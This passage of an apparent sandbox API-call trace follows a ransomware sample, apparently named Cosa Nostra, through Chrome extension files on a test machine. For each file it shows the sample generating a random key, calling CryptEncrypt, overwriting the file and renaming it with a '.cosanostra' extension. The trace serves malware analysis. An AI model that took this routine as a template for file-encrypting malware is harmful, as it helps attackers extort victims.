HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0085.731] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json") returned 160 [0085.732] StrStrW (lpFirst="computed_hashes.json", lpSrch=".txt") returned 0x0 [0085.732] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xfffffea0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.732] WriteFile (in: hFile=0x184, lpBuffer=0x301e380*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x2abf7ec, lpOverlapped=0x0 | out: lpBuffer=0x301e380*, lpNumberOfBytesWritten=0x2abf7ec*=0x160, lpOverlapped=0x0) returned 1 [0085.732] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.732] WriteFile (in: hFile=0x184, lpBuffer=0x2abf82c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf7ec, lpOverlapped=0x0 | out: lpBuffer=0x2abf82c*, lpNumberOfBytesWritten=0x2abf7ec*=0x4, lpOverlapped=0x0) returned 1 [0085.733] WriteFile (in: hFile=0x184, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf7ec, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf7ec*=0x30, lpOverlapped=0x0) returned 1 [0085.733] CloseHandle (hObject=0x184) returned 1 [0085.733] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json.cosanostra")) returned 1 [0085.735] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf828 | out: pbBuffer=0x2abf828) returned 1 [0085.735] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf820*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf820*=0x30) returned 1 [0085.735] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0085.735] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\messages.json") returned 158 [0085.735] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.736] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xffffff2f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.736] WriteFile (in: hFile=0x184, lpBuffer=0x301e380*, nNumberOfBytesToWrite=0xd1, lpNumberOfBytesWritten=0x2abf7e4, lpOverlapped=0x0 | out: lpBuffer=0x301e380*, lpNumberOfBytesWritten=0x2abf7e4*=0xd1, lpOverlapped=0x0) returned 1 [0085.736] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.736] WriteFile (in: hFile=0x184, lpBuffer=0x2abf824*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf7e4, lpOverlapped=0x0 | out: lpBuffer=0x2abf824*, lpNumberOfBytesWritten=0x2abf7e4*=0x4, lpOverlapped=0x0) returned 1 [0085.736] WriteFile (in: hFile=0x184, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf7e4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf7e4*=0x30, lpOverlapped=0x0) returned 1 [0085.736] CloseHandle (hObject=0x184) returned 1 [0085.737] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_tw\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_tw\\messages.json.cosanostra")) returned 1 [0085.738] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf820 | out: pbBuffer=0x2abf820) returned 1 [0085.738] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf818*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf818*=0x30) returned 1 [0085.738] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_cn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0085.738] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\messages.json") returned 158 [0085.738] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.739] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xffffff29, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.739] WriteFile (in: hFile=0x184, lpBuffer=0x301e380*, nNumberOfBytesToWrite=0xd7, lpNumberOfBytesWritten=0x2abf7dc, lpOverlapped=0x0 | out: lpBuffer=0x301e380*, lpNumberOfBytesWritten=0x2abf7dc*=0xd7, lpOverlapped=0x0) returned 1 [0085.739] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.739] WriteFile (in: hFile=0x184, lpBuffer=0x2abf81c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf7dc, lpOverlapped=0x0 | out: lpBuffer=0x2abf81c*, lpNumberOfBytesWritten=0x2abf7dc*=0x4, lpOverlapped=0x0) returned 1 [0085.740] WriteFile (in: hFile=0x184, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf7dc, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf7dc*=0x30, lpOverlapped=0x0) returned 1 [0085.740] CloseHandle (hObject=0x184) returned 1 [0085.740] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_cn\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_cn\\messages.json.cosanostra")) returned 1 [0085.741] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf818 | out: pbBuffer=0x2abf818) returned 1 [0085.741] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf810*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf810*=0x30) returned 1 [0085.741] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0085.742] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json") returned 155 [0085.742] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.783] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xffffff13, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.783] WriteFile (in: hFile=0x184, lpBuffer=0x301e380*, nNumberOfBytesToWrite=0xed, lpNumberOfBytesWritten=0x2abf7d4, lpOverlapped=0x0 | out: lpBuffer=0x301e380*, lpNumberOfBytesWritten=0x2abf7d4*=0xed, lpOverlapped=0x0) returned 1 [0085.783] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.784] WriteFile (in: hFile=0x184, lpBuffer=0x2abf814*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf7d4, lpOverlapped=0x0 | out: lpBuffer=0x2abf814*, lpNumberOfBytesWritten=0x2abf7d4*=0x4, lpOverlapped=0x0) returned 1 [0085.784] WriteFile (in: hFile=0x184, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf7d4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf7d4*=0x30, lpOverlapped=0x0) returned 1 [0085.784] CloseHandle (hObject=0x184) returned 1 [0085.784] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json.cosanostra")) returned 1 [0085.786] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf810 | out: pbBuffer=0x2abf810) returned 1 [0085.786] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf808*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf808*=0x30) returned 1 [0085.786] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0085.787] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json") returned 155 [0085.787] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.794] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xfffffef0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.794] WriteFile (in: hFile=0x184, lpBuffer=0x301e380*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2abf7cc, lpOverlapped=0x0 | out: lpBuffer=0x301e380*, lpNumberOfBytesWritten=0x2abf7cc*=0x110, lpOverlapped=0x0) returned 1 [0085.795] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.795] WriteFile (in: hFile=0x184, lpBuffer=0x2abf80c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf7cc, lpOverlapped=0x0 | out: lpBuffer=0x2abf80c*, lpNumberOfBytesWritten=0x2abf7cc*=0x4, lpOverlapped=0x0) returned 1 [0085.795] WriteFile (in: hFile=0x184, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf7cc, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf7cc*=0x30, lpOverlapped=0x0) returned 1 [0085.795] CloseHandle (hObject=0x184) returned 1 [0085.795] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json.cosanostra")) returned 1 [0085.796] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf808 | out: pbBuffer=0x2abf808) returned 1 [0085.796] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf800*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf800*=0x30) returned 1 [0085.796] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0085.797] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json") returned 155 [0085.797] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.798] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xffffff22, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.798] WriteFile (in: hFile=0x184, lpBuffer=0x301e380*, nNumberOfBytesToWrite=0xde, lpNumberOfBytesWritten=0x2abf7c4, lpOverlapped=0x0 | out: lpBuffer=0x301e380*, lpNumberOfBytesWritten=0x2abf7c4*=0xde, lpOverlapped=0x0) returned 1 [0085.798] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.798] WriteFile (in: hFile=0x184, lpBuffer=0x2abf804*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf7c4, lpOverlapped=0x0 | out: lpBuffer=0x2abf804*, lpNumberOfBytesWritten=0x2abf7c4*=0x4, lpOverlapped=0x0) returned 1 [0085.798] WriteFile (in: hFile=0x184, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf7c4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf7c4*=0x30, lpOverlapped=0x0) returned 1 [0085.798] CloseHandle (hObject=0x184) returned 1 [0085.798] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json.cosanostra")) returned 1 [0085.800] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf800 | out: pbBuffer=0x2abf800) returned 1 [0085.800] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf7f8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf7f8*=0x30) returned 1 [0085.800] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0085.800] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\messages.json") returned 158 [0085.800] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.801] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xffffff20, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.801] WriteFile (in: hFile=0x184, lpBuffer=0x301e380*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2abf7bc, lpOverlapped=0x0 | out: lpBuffer=0x301e380*, lpNumberOfBytesWritten=0x2abf7bc*=0xe0, lpOverlapped=0x0) returned 1 [0085.801] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.801] WriteFile (in: hFile=0x184, lpBuffer=0x2abf7fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf7bc, lpOverlapped=0x0 | out: lpBuffer=0x2abf7fc*, lpNumberOfBytesWritten=0x2abf7bc*=0x4, lpOverlapped=0x0) returned 1 [0085.801] WriteFile (in: hFile=0x184, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf7bc, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf7bc*=0x30, lpOverlapped=0x0) returned 1 [0085.801] CloseHandle (hObject=0x184) returned 1 [0085.802] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_pt\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_pt\\messages.json.cosanostra")) returned 1 [0085.803] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf7f8 | out: pbBuffer=0x2abf7f8) returned 1 [0085.803] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf7f0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf7f0*=0x30) returned 1 [0085.803] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0085.804] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\messages.json") returned 158 [0085.804] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.804] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xffffff22, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.805] WriteFile (in: hFile=0x184, lpBuffer=0x301e380*, nNumberOfBytesToWrite=0xde, lpNumberOfBytesWritten=0x2abf7b4, lpOverlapped=0x0 | out: lpBuffer=0x301e380*, lpNumberOfBytesWritten=0x2abf7b4*=0xde, lpOverlapped=0x0) returned 1 [0085.805] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.805] WriteFile (in: hFile=0x184, lpBuffer=0x2abf7f4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf7b4, lpOverlapped=0x0 | out: lpBuffer=0x2abf7f4*, lpNumberOfBytesWritten=0x2abf7b4*=0x4, lpOverlapped=0x0) returned 1 [0085.805] WriteFile (in: hFile=0x184, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf7b4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf7b4*=0x30, lpOverlapped=0x0) returned 1 [0085.805] CloseHandle (hObject=0x184) returned 1 [0085.805] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_br\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_br\\messages.json.cosanostra")) returned 1 [0085.806] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf7f0 | out: pbBuffer=0x2abf7f0) returned 1 [0085.806] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, 